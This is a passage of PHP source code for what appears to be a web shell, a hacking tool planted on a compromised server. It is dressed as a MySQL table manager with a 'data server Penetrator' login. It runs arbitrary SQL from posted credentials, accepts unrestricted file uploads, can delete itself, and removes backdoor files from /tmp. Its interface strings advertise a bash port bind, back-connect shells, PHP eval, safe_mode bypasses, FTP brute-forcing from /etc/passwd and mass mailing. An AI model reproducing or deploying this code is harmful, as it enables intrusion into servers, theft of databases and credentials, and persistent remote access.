echo"<select name='leng[$i]'>";
echo"<option value='4'>4";
echo"<option value='2'>2";
echo"</select>\n";
}elseif($ft=="SET"|| $ft=="ENUM"){
echo"<input type=text name='leng[$i]' title='values eg \"a\", \"b\", \"c\"' value='' />";
}else{
echo"<input type=text name='leng[$i]' size=5 value=$l />\n";
}
}
//******************************Display Row ******************************
function displayrow($dbname, $tbl, $pk, $pkfield, $cpk, $row, $flds){
$pkfs="";
$hv="";
$hf="";
if($cpk >0 && !empty($pkfield)){
for($a = 0; $a < $cpk; $a++){
$fieldn = $pkfield[$a];
$hf .= "<input type=hidden name=pk[$a] value='$pkfield[$a]' />";
$hv .= "<input type=hidden name=pv[$a] value='$row[$fieldn]' />";
}
}else{ //No Primary Key so use all fields
$fields = mysql_list_fields($dbname, $tbl);
for($b = 0; $b < $flds; $b++){
$fie = mysql_field_name($fields, $b );
$hf .= "<input type=hidden name=pk[$b] value='$fie' />";
$hv .= "<input type=hidden name=pv[$b] value='$row[$b]' />";
}
}
echo"<tr>\n";
//edit Record
echo"<td><form action='$action' method=post>\n";
echo"<input type=hidden name=dbname value='$dbname' />\n";
echo"<input type=hidden name=tablename value='$tbl' />\n";
echo"<input type=hidden name=npkeys value='$cpk' />\n";
echo"$hf";
echo"$hv";
echo"<input class=sml type=submit name=edit value='Edit Record' />\n";
echo"</form></td>\n";
//Delete record
echo"<td><form action='$action' method=post>\n";
echo"<input type=hidden name=dbname value='$dbname' />\n";
echo"<input type=hidden name=tablename value='$tbl' />\n";
echo"<input type=hidden name=num value='$cpk' />\n";
echo"$hf";
echo"$hv";
echo"<input class=smldel type=submit name=delete value='Delete Record' />\n";
echo"</form></td>";
//Display all the columns.
for($col = 0; $col < $flds; $col ++){
$nslash = StripSlashes($row[$col]);
echo"<td>$nslash</td>";
}
echo"</tr>";
}
//***********************Remove Array Copy********************************
//removes copies from an array $x.
function removearraycopy($x){
$leng= count($x);
sort($x);
$farr=array();
for ($i =0; $i < $leng; $i++){
$flag=false;
for ($s =0; $s < count($farr); $s++){
if($x[$i]==$farr[$s]){
$flag=true;
}
}
if ($flag == false){
$farr[count($farr)] = $x[$i];
}
}
return $farr;
}
//***********************<< page position >>********************************
function whichpage($num_rows, $pagemax, $pg, $tablename, $searchval){
$pgs = $num_rows/$pagemax;
$pgs=ceil($pgs);
//round up the number of pages.
echo"<form action='$action' id='recspage' method='post' name='recspage'>\n";
echo"Total number of records $num_rows, displayed on $pgs pages of \n";
echo"<input type='text' name='pagemax' value='$pagemax' size='4' onchange='javascript:this.form.submit();' title='Type the number records to display on a page then click outside the box' /> \n";
echo"<input type='hidden' name='searchval' value='$searchval' />\n";
echo"<input type='hidden' name='tablename' value='$tablename' />\n";
echo"records per page.</form> \n";
$pagescrol="";
$sval="";
if($pgs >1){
$pagescrol="<div class='pagecount'>\n";
$nxt=$pg+1;
$bk=$pg-1;
$lst=$pgs;
$end=$lst-1;
$showp=$pg+1;
if($searchval !=""){
$sval="&searchval=$searchval";
}
$pagescrol .= "<form name='pages' id='pages' action='$action' method='get'>\n";
if($pg>=1){
$pagescrol .= " <a href='$action?tablename=$tablename&pg=0$sval' title='To first page'> 1 :<< </a> \n";
$pagescrol .= " <a href=''action'?tablename=$tablename&pg=$bk$sval' title='Back one page'> < </a> \n";
}
$pagescrol .= "<input type='text' name='pg' value='$showp' size='4' onchange='javascript:this.form.submit();' title='Type a page number then click outside the box' />\n";
$pagescrol .= "<input type='hidden' name='pback' value='true' />\n";
$pagescrol .= "<input type='hidden' name='searchval' value='$searchval' />\n";
$pagescrol .= "<input type='hidden' name='tablename' value='$tablename' />\n";
if($showp < $lst){
$pagescrol .= " <a href=''action'?tablename=$tablename&pg=$nxt$sval' title='Next page'> > </a> \n";
$pagescrol .= " <a href=''action'?tablename=$tablename&pg=$end$sval' title='To Last page'> >>: $lst</a> \n";
}
$pagescrol .= "</form>\n";
$pagescrol.="</div>\n";
}
return $pagescrol;
}
//*************Display Footer*************************
//Please don't remove or change.
function display_foot(){
echo"<div class='foot'>Version $version © ".date('Y')." <a style='text-decoration:none;' target='_blank' href='http://vnbrain.net'>ly0kha</a></div>";
}
//*************My Size*************************
//Returns the size of a table or database
function mysize($dbname, $tablename){
$like="";
$total="";
$t=0;
if($tablename !=""){
$like=" like '$tablename'";
}
$sql= "SHOW TABLE STATUS FROM $dbname $like";
//$result = mysql_query($sql);
$result=exequery($sql, $tablename, $dbname);
if($result){
while($rec = mysql_fetch_array($result)){
$t+=($rec['Data_length'] + $rec['Index_length']);
}
$total ="<span class='bytes'>$t bytes</span>";
}else{
$total="Unknowen";
}
return($total);
}
//**************************************
//DEBUG to show all being passed to the page
function showpassingvars(){
echo"Get: ";
foreach($_GET as $pram=>$value){
echo"$pram: $value, ";
}
echo"<br>Post: ";
foreach($_POST as $pram=>$value){
echo"$pram: $value, ";
}
echo"<br>Session: ";
foreach($_SESSION as $pram=>$value){
echo"$pram: $value, ";
}
}
echo"<html>\n";
echo"<meta http-equiv='Content-Type' content='text/html; charset=windows-1256'>\n";
echo"<head>\n";
echo"<title>Scarpt contact databases</title>\n";
echo"<STYLE>
BODY
{
SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #ffffff; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
}
tr {
BORDER-RIGHT: #cccccc ;
BORDER-TOP: #cccccc ;
BORDER-LEFT: #cccccc ;
BORDER-BOTTOM: #cccccc ;
color: #ffffff;
}
td {
BORDER-RIGHT: #cccccc ;
BORDER-TOP: #cccccc ;
BORDER-LEFT: #cccccc ;
BORDER-BOTTOM: #cccccc ;
color: #cccccc;
}
.table1 {
BORDER: 1;
BACKGROUND-COLOR: #000000;
color: #333333;
}
.td1 {
BORDER: 1;
font: 7pt tahoma;
color: #ffffff;
}
.tr1 {
BORDER: 1;
color: #cccccc;
}
table {
BORDER: #eeeeee outset;
BACKGROUND-COLOR: #000000;
color: #cccccc;
}
input {
BORDER-RIGHT: #990000 1 solid;
BORDER-TOP: #990000 1 solid;
BORDER-LEFT: #990000 1 solid;
BORDER-BOTTOM: #990000 1 solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select {
BORDER-RIGHT: #ffffff 1 solid;
BORDER-TOP: #999999 1 solid;
BORDER-LEFT: #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #CCCCCC;;
}
submit {
BORDER: buttonhighlight 1 outset;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #cccccc;
}
textarea {
BORDER-RIGHT: #ffffff 1 solid;
BORDER-TOP: #999999 1 solid;
BORDER-LEFT: #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #333333;
font: Fixedsys bold;
color: #ffffff;
}
BODY {
margin: 1;
color: #cccccc;
background-color: #000000;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>\n";
echo"<meta http-equiv='Content-Type' content='text/html charset=windows-1256'>";
echo"<title>Scarpt contact databases </title>\n";
echo"<meta name='author' content='Tony Aslett'>";
echo"<meta name='title' content='PHP:MySQL Table Manager'>";
echo"<meta name='description' content='Table Manager for MySQL Database'>";
echo"<link rel='stylesheet' href='tmgrstyles.css' type='text/css'>\n";
echo"</head>\n";
echo"<body>\n";
$showall=true;
echo"<h2 class=h >Scarpt contact databases </h2>\n";
//******************* Session Logon ***********************
if(isset($_POST['logout'])){
$_POST['dbname']="";
session_unset();
session_destroy();
}
if(isset($_POST['userid']) && isset($_POST['pword1'])){
$_SESSION['user'] = $_POST['userid'];
$_SESSION['password'] = $_POST['pword1'];
}
if (!isset($_SESSION['user']) || !isset($_SESSION['password'])){
echo"<div align=center>";
echo"<h2>Enter data server Penetrator</h2>\n";
If(!isset($dbnamearray)){
$dbnamearray="";
}
show_login($dbnamearray);
echo"</div>";
}else{
//show logout option.
echo"<div align=right>";
endsess();
echo"</div>";
}
//*****dbname
if(isset($_POST['dbname'])){
$dbname=$_POST['dbname'];
$_SESSION['dbname']= $_POST['dbname'];
}
//***** Host
if(isset($_POST['host'])){
$host=$_POST['host'];
$_SESSION['host']=$_POST['host'];
}
//******set tablename
if(isset($_GET['tablename']) ){
$tablename=$_GET['tablename'];
}elseif(isset($_POST['tablename'])){
$tablename=$_POST['tablename'];
}
//********** pagemax
if(isset($_POST['pagemax'])){ //&& is_int($_POST['pagemax'])){
$isnum=true;
for($o=0; $o<count($_POST['pagemax']); $o++){
if($_POST['pagemax'][$o]>9){
$isnum=false;
}
}
if($_POST['pagemax']>0 && $isnum){
$_SESSION['pagemax']=$_POST['pagemax'];
}
}
if(isset($_SESSION['pagemax'])){
$pagemax=$_SESSION['pagemax'];
}
//******** create a new Database ************
if(isset($_POST['cndb'])){
connectmysql();
$sql="create database $_POST[ndbname]";
$result=exequery($sql, " ", $_POST['ndbname']);
if ($result){
$_SESSION['dbname'] = $_POST['ndbname'];
$sql="Use $_POST[ndbname]";
$result=exequery($sql, " ", $_POST['ndbname']);
if($result){
echo"<h2>????? ????? $_SESSION[dbname] </h2>\n";
}
}
}
//*********************************************
if (! isset($_SESSION['dbname']) && ! isset($dbnamearray) && ! isset($_POST['dbname']) && isset($_SESSION['user'])){ //*********post
//Databse names
showdb();
}
//************************ Choose DB *************
if(isset($_POST['dbname']) && $_POST['dbname']==""){
showdb();
}
//**********
if (isset($_SESSION['dbname']) || isset($_POST['dbna']) || isset($_POST['dbname'])){
//*************************************
//connection
if (isset($_SESSION['dbname'])){
$dbsetname = $_SESSION['dbname'];
}elseif(isset($_POST['dbname'])){
$dbsetname = $_POST['dbname'];
$_SESSION['dbname'] = $_POST['dbname'];
}else{
$dbsetname = $_POST['dbna'];
$_SESSION['dbname'] = $_POST['dbna'];
}
}
//*************************** we have a DB set
if(isset($dbsetname) && $dbsetname!=""){
$link= connectmysql();
//echo"DBS: $dbsetname";
$conn = connectdb($dbsetname, $link);
//*********** Drop Table **************
if(isset($_POST['deltable'])){
$showall=false;
$tablename=$_POST['tablename'];
echo"<h1>!!! Warning!!!<br>You are trying to Clear this table $tablename<br>";
echo"Are you sure you want to do process?</h1>\n";
$va="Drop $tablename";
goto($tablename, $dbname,$action, 'del', 'droptab', $va );
}
if(isset($_POST['droptab'])){
$tablename=$_POST['tablename'];
$dsql = "drop table $tablename";
$result=exequery($dsql, $tablename, $dbname);
unset($tablename); //="false";
unset($_POST['tablename']);
}
//*****************Write Your Own Query *****************
if(isset($_POST['wyoq'])){ //post
$value="The main facade of Scarpt";
goto($tablename, $dbname, $action, 'but', 'start', $value );
echo"<form method='post'>\n";
echo"<input type='hidden' name='dbname' value=$dbname>\n";
//echo"<input type=text name='wyqota' width='500px' style='overflow-x:visible;'>\n";
echo"<textarea name='wyoqta' cols='60' rows='5' style='overflow-y:visible'></textarea>\n";
echo"<br><input class=but type=submit name='runquery' value='Execute Query'>\n";
echo"</form><br>\n";
}
if(isset($_POST['runquery'])){
$wyoqta = StripSlashes($_POST['wyoqta']);
$result=exequery($wyoqta, " ", " ");
if(@mysql_num_rows($result) >0){
$numrows=mysql_num_rows($result);
$flds=mysql_num_fields($result);
echo"<table>";
for($r=0; $r < $numrows; $r++){
echo"<tr>";
$row=mysql_fetch_array($result);
for($col = 0; $col < $flds; $col ++){
$nslash = StripSlashes($row[$col]);
echo"<td>$nslash</td>";
}
echo"</tr>";
}
echo"</table>";
}elseif (mysql_affected_rows()){
echo" Number of Rows affected: ".mysql_affected_rows();
}else{
echo" Nothing returned from the query.";
}
}
// ****************List Tables***************************
if( ! isset($tablename) || $tablename==" " ){
$dbname=$_SESSION['dbname'];
$result = mysql_list_tables($_SESSION['dbname']);
$numtab = mysql_num_rows ($result);
if($numtab == 1){
$_SESSION['tablename'] =mysql_tablename($result, 0);
}
//***************** Buttons ******************************
if (isset($_POST['runquery'])){
$dbname=$_SESSION['dbname'];
$value="$dbname Start"; //Table Manager Start
goto("", $_SESSION['dbname'], $action, 'but', 'tablestart', $value );
}elseif (! isset($_POST['wyoq']) && ! isset($_POST['runquery'])){ //write your own query.
echo"<table width=40% border=0 align='left' >\n";
echo"<tr><td>";
$va="The establishment of a new scale";
goto("", $_SESSION['dbname'], "create.php", 'but', 'create', $va );
// echo"<a href=create.php class='crt'>Create new Table</a>\n";
echo"</td><td>";
$value="The main facade"; //Choose DB
goto("", "", $action, 'but', 'db', $value );
echo"</td>\n";
$value="Write Your Own Query";
goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value );
echo"</td></tr>";
echo"</table><br><br><br><br><div style='clear:both;'></div>";
echo"<table width=100% border=0 align='center' >\n";
for ($i =0; $i < $numtab; $i++) {
$tb_names[$i] = mysql_tablename($result, $i);
echo"<tr class='frow'><td align='center'>\n";
$va="The agenda* $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],$action, 'but', $tb_names[$i], $va );
echo"</td><td align='center' valign='middle'>\n";
$va="Survey agenda $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],$action, 'del', 'deltable', $va );
echo"</td><td align='center' valign='middle'>\n";
$va="Alter Table $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va );
echo"</td><td align='center' valign='middle'>\n";
searchtableform($tb_names[$i], $_SESSION['dbname']);
echo"</td><td>";
//Table size in bytes
echo mysize($_SESSION['dbname'],$tb_names[$i]);
echo"</td></tr>\n";
}//for
echo"</table>\n";
}
}else{ //tablename is set
//***************** menu *****************************************
echo"<table><tr class='frow'><td>\n";
$value="$_SESSION[dbname] Start"; //Ex Table Manager Start
goto($tablename, $_SESSION['dbname'], $action, 'but', 'tablestart', $value );
echo"</td>\n";
echo"<td>\n";
$value="The main facade"; //Choose DB
goto("", "", $action, 'but', 'start', $value );
echo"</td>\n";
echo"<td>\n";
$value="Write Your Own Query";
goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value );
echo"</td>\n";
if (!isset($_POST['add']) && !isset($_POST['deltable']) && isset($tablename)){
echo"<td>";
//$tablename = $_POST['tablename'];
$va="Add a $tablename Record";
goto($tablename, $_SESSION['dbname'], 'alter.php', 'but', 'add', $va );
echo"</td>\n";
}
if (!isset($_POST['deltable'])){
echo"<td>\n";
searchtableform($tablename, $_SESSION['dbname']);
echo"</td>\n";
}
echo"</tr></table>\n";
echo"<br />\n";
//**************************************************
if(isset($_POST['addrec'])){
// $showall=false;
$result=addrecord($tablename, $_SESSION['dbname'], $_POST['array']);
}elseif(isset($_POST['add'])){
$showall=false;
addform($tablename, $_SESSION['dbname']);
}elseif(isset($_POST['delete'])){
//delete record has been pushed
// $showall=false;
$whr=buildwhr($_POST['pk'], $_POST['pv']);
$sql = "delete from $tablename where $whr";
$result=exequery($sql, $tablename, $_SESSION['dbname']);
}elseif (isset($_POST['edit'])){//Edit
$showall=false;
$whr = buildwhr( $_POST['pk'], $_POST['pv']);
//$tablename = $_SESSION['tablename'];
$sql= "Select * from $tablename where $whr";
$result=exequery($sql, $tablename, $_SESSION['dbname']);
editform($tablename, $_SESSION['dbname'], $result, 'edit', $_POST['pk'], $_POST['pv']);
}elseif(isset($_POST['editrec'])){
// $showall=false;
$result=editrec($_SESSION['dbname'],$tablename, $_POST['pk'], $_POST['pv'], $_POST['array']);
}
//**************** Search ************************************
if(isset($_POST['searchval'])){
$searchval=$_POST['searchval'];
}elseif(isset($_GET['searchval'])){
$searchval=$_GET['searchval'];
}else{
$searchval="";
}
if (isset($_GET['tablename'])){
$tablename = $_GET['tablename'];
}
if((isset($_POST['search'])|| isset($searchval)) && $searchval !=""){
$result=searcht($tablename, $_SESSION['dbname'], $searchval);
}else{
//Display All
$query = "select * from $tablename";
$result=exequery($query, $tablename, $_SESSION['dbname']);
}
//***************** Display record count *****************************************
if($showall){
$num_rows = mysql_num_rows($result);
//Workout whick page to display
if(!isset($_GET['pg']) && !isset($pg)){
$beg=0;
$pg=0;
}else{
if(isset($_GET['pback'])){
$pg=$_GET['pg'];
}else{
$pg=$_GET['pg'];
}
if($pg < 0 ){
$pg=0;
}
if($pg > $num_rows/$pagemax){
$pg=ceil($num_rows/$pagemax)-1;
}
$beg = $pg * $pagemax;
}
if (!isset($_POST['add'])){
$pscrol=" ";
$pagescrol =" ";
$pagescrol = whichpage($num_rows, $pagemax, $pg, $tablename, $searchval);
echo "$pagescrol\n"; //Display next Top page menu
$flds = mysql_num_fields($result);
echo"<table border=0 width='100%'>\n";
echo"<tr class=head><td></td><td></td>\n";
$fields = mysql_list_fields( $_SESSION['dbname'], $tablename);
$z=0;
$x =0;
$pkfield=array();
//*************Display each of the field names.***************************
for ($i = 0; $i < $flds; $i++) {
echo "<td>".mysql_field_name($fields, $i)."</td>\n";
//Find the primary key
$flagstring = mysql_field_flags ($result, $i);
if(eregi("primary",$flagstring )){
$pk[$z] = $i;
$pkfield[$z]= mysql_field_name($fields, $i);
$z++;
}
}
echo"</tr>\n";
$tbl=$tablename;
//if(isset($pk)){
if($z > 0){
$cpk=count($pk);
}else{
$cpk=0;
}
//************Display each row from the table.********************************
for ($s=$beg; $s < $beg + $pagemax; $s++){
if($s < $num_rows){
if (!mysql_data_seek ($result, $s)) {
echo "Cannot seek to row $s\n";
continue;
}
$row=mysql_fetch_array($result);
if(!isset($pk)){
$pk=" ";
$pkfield= array();
}
displayrow($_SESSION['dbname'], $tbl, $pk, $pkfield, $cpk, $row, $flds);
}
}
}
echo"</table>\n";
if (!isset($_POST['add']) && !isset($_POST['edit']) && !isset($_POST['deltable']) && !isset($_POST['droptab']) && !isset($_POST['wyoq']) && $tablename){
echo"<br>";
echo "$pagescrol\n"; //Display bottom next page menu
}
echo"<br><br>\n";
}//showall
if(isset($_POST['tablename'])){
echo"<table border=0>";
echo"<tr><td>";
$tablename=$_POST['tablename'];
$va="Alter Table $tablename";
goto( $tablename, $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va );
echo"</td></tr>\n";
echo"</table>\n";
}
}
}
display_foot();
echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
{
echo $head;
$sql = new my_sql();
$sql->db = $_POST['db'];
$sql->host = $_POST['db_server'];
$sql->port = $_POST['db_port'];
$sql->user = $_POST['mysql_l'];
$sql->pass = $_POST['mysql_p'];
$sql->base = $_POST['mysql_db'];
$querys = @explode(';',$_POST['db_query']);
echo '<body bgcolor=#000000>';
if(!$sql->connect()) echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
else
{
if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=tahoma size=-2 color=red><b>?? ?????? ????? ????? ????????</b></font></div>";
else
{
foreach($querys as $num=>$query)
{
if(strlen($query)>5)
{
echo "<font face=tahoma size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
switch($sql->query($query))
{
case '0':
echo "<table width=100%><tr><td><font face=tahoma size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
break;
case '1':
if($sql->get_result())
{
echo "<table width=100%>";
foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
$keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=tahoma size=-2><b> ", $sql->columns);
echo "<tr><td bgcolor=#333333><font face=tahoma size=-2><b> ".$keys." </b></font></td></tr>";
for($i=0;$i<$sql->num_rows;$i++)
{
foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
$values = @implode(" </font></td><td><font face=tahoma size=-2> ",$sql->rows[$i]);
echo '<tr><td><font face=tahoma size=-2> '.$values.' </font></td></tr>';
}
echo "</table>";
}
break;
case '2':
$ar = $sql->affected_rows()?($sql->affected_rows()):('0');
echo "<table width=100%><tr><td><font face=tahoma size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
break;
}
}
}
}
}
echo "<br><form name=form method=POST>";
echo in('hidden','db',0,$_POST['db']);
echo in('hidden','db_server',0,$_POST['db_server']);
echo in('hidden','db_port',0,$_POST['db_port']);
echo in('hidden','mysql_l',0,$_POST['mysql_l']);
echo in('hidden','mysql_p',0,$_POST['mysql_p']);
echo in('hidden','mysql_db',0,$_POST['mysql_db']);
echo in('hidden','cmd',0,'db_query');
echo "<div align=center>";
echo "<font face=tahoma size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
echo "</form>";
echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
}
if(isset($_GET['delete']))
{
@unlink(__FILE__);
}
if(isset($_GET['tmp']))
{
@unlink("/tmp/backpy");
@unlink("/tmp/bind");
@unlink("/tmp/bdpl");
@unlink("/tmp/back");
@unlink("/tmp/bd");
@unlink("/tmp/bd.c");
@unlink("/tmp/dp");
@unlink("/tmp/dpc");
@unlink("/tmp/dpc.c");
@unlink("/tmp/back1.php");
@unlink("/tmp/back2.php");
}
if(isset($_GET['phpini']))
{
echo $head;
function U_value($value)
{
if ($value == '') return '<i>no value</i>';
if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
if ($value === null) return 'NULL';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value))
{
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
function U_wordwrap($str)
{
$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
}
if (@function_exists('ini_get_all'))
{
$r = '';
echo '<table width=100%>', '<tr><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
foreach (@ini_get_all() as $key=>$value)
{
$r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.$key.'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
}
echo $r;
echo '</table>';
}
echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['uploadds']))
{
echo $head;
if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<p align="center"><b>Upload Successfully :)</b><br><br></p>'; }
else { echo '<p align="center"><b>Sorry You Cant :(</b><br><br></p>'; }}
echo '<br><center><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"> <font color="#0000FF"><b></b></font><br><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></center>';
echo '</table>';
echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['mem']))
{
echo $head;
echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
$memf = @file("meminfo");
if($memf)
{
$c = sizeof($memf);
for($i=0;$i<$c;$i++)
{
$info = explode(":",$memf[$i]);
if($info[1]==""){ $info[1]="---"; }
$r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>';
}
echo '</table>';
echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
$lang=array(
'eng_text1' =>'Executed command',
'eng_text2' =>'Execute command on server',
'eng_text3' =>'Run command',
'eng_text4' =>'Work directory',
'eng_text5' =>'Upload files on server',
'eng_text6' =>'Local file',
'eng_text7' =>'Aliases',
'eng_text8' =>'Select alias',
'eng_butt1' =>'Execute',
'eng_butt2' =>'Upload',
'eng_text9' =>'Bind port to /bin/bash',
'eng_text10'=>'Port',
'eng_text11'=>'Password for access',
'eng_butt3' =>'Bind',
'eng_text12'=>'back-connect',
'eng_text13'=>'IP',
'eng_text14'=>'Port',
'eng_butt4' =>'Connect',
'eng_text15'=>'Upload files from remote server',
'eng_text16'=>'With',
'eng_text17'=>'Remote file',
'eng_text18'=>'Local file',
'eng_text19'=>'Exploits',
'eng_text20'=>'Use',
'eng_text21'=>' New name',
'eng_text22'=>'datapipe',
'eng_text23'=>'Local port',
'eng_text24'=>'Remote host',
'eng_text25'=>'Remote port',
'eng_text26'=>'Use',
'eng_butt5' =>'Run',
'eng_text28'=>'Work in safe_mode',
'eng_text29'=>'ACCESS DENIED',
'eng_butt6' =>'Change',
'eng_text30'=>'Cat file',
'eng_butt7' =>'Show',
'eng_text31'=>'File not found',
'eng_text32'=>'Eval PHP code',
'eng_text33'=>'Test bypass open_basedir with cURL functions',
'eng_butt8' =>'Test',
'eng_text34'=>'Test bypass safe_mode with include function',
'eng_text35'=>'Test bypass safe_mode with load file in mysql',
'eng_text36'=>'Database . Table',
'eng_text37'=>'Login',
'eng_text38'=>'Password',
'eng_text39'=>'Database',
'eng_text40'=>'Dump database table',
'eng_butt9' =>'Dump',
'eng_text41'=>'Save dump in file',
'eng_text42'=>'Edit files',
'eng_text43'=>'File for edit',
'eng_butt10'=>'Save',
'eng_text44'=>'Can\'t edit file! Only read access!',
'eng_text45'=>'File saved',
'eng_text46'=>'Show phpinfo()',
'eng_text47'=>'Show variables from php.ini',
'eng_text48'=>'Delete temp files',
'eng_butt11'=>'Edit file',
'eng_text49'=>'Delete script from server',
'eng_text50'=>'upload File -2',
'eng_text51'=>'View memory info',
'eng_text52'=>'Find text',
'eng_text53'=>'In dirs',
'eng_text54'=>'Find text in files',
'eng_butt12'=>'Find',
'eng_text55'=>'Only in files',
'eng_text56'=>'Nothing :(',
'eng_text57'=>'Create/Delete File/Dir',
'eng_text58'=>'name',
'eng_text59'=>'file',
'eng_text60'=>'dir',
'eng_butt13'=>'Create/Delete',
'eng_text61'=>'File created',
'eng_text62'=>'Dir created',
'eng_text63'=>'File deleted',
'eng_text64'=>'Dir deleted',
'eng_butt65'=>'Create',
'eng_text65'=>'Create',
'eng_text66'=>'Delete',
'eng_text955'=>'zone-h',
'eng_text995'=>'script edit index vb',
'eng_text959'=>'install script proxy',
'eng_text555'=>'xp-Cracker',
'eng_text551'=>'Inbox Mailer',
'eng_text67'=>'Chown/Chgrp/Chmod',
'ar_text128'=>'Modify/Access date(touch)',
'eng_text68'=>'Command',
'eng_text69'=>'param1',
'eng_text70'=>'param2',
'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
'eng_text72'=>'Text for find',
'eng_text73'=>'Find in folder',
'eng_text74'=>'Find in files',
'eng_text75'=>'* you can use regexp',
'eng_text76'=>'Search text in files via find',
'eng_text80'=>'Type',
'eng_text81'=>'Net',
'eng_text82'=>'Databases',
'eng_text83'=>'Run SQL query',
'eng_text84'=>'SQL query',
'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'eng_text86'=>'Download files from server',
'eng_butt14'=>'Download',
'eng_text87'=>'Download files from remote ftp-server',
'eng_text88'=>'FTP-server:port',
'eng_text89'=>'File on ftp',
'eng_text90'=>'Transfer mode',
'eng_text91'=>'Archivation',
'eng_text92'=>'without archivation',
'eng_text93'=>'FTP',
'eng_text94'=>'FTP-bruteforce',
'eng_text95'=>'Users list',
'eng_text96'=>'Can\'t get users list',
'eng_text97'=>'checked: ',
'eng_text98'=>'success: ',
'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
'eng_text100'=>'Send file to remote ftp server',
'eng_text101'=>'Use reverse (user -> resu) login for password',
'eng_text102'=>'Mail',
'eng_text103'=>'Send email',
'eng_text104'=>'Send file to email',
'eng_text105'=>'To',
'eng_text106'=>'From',
'eng_text107'=>'Subj',
'eng_butt15'=>'Send',
'eng_text108'=>'Mail',
'eng_text109'=>'Hide',
'eng_text110'=>'Show',
'eng_text111'=>'SQL-Server : Port',
'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
'eng_text116'=>'Copy from',
'eng_text117'=>'to',
'eng_text118'=>'File copied',
'eng_text119'=>'Cant copy file',
'eng_err0'=>'',
'eng_err1'=>'Error! Can\'t read file ',
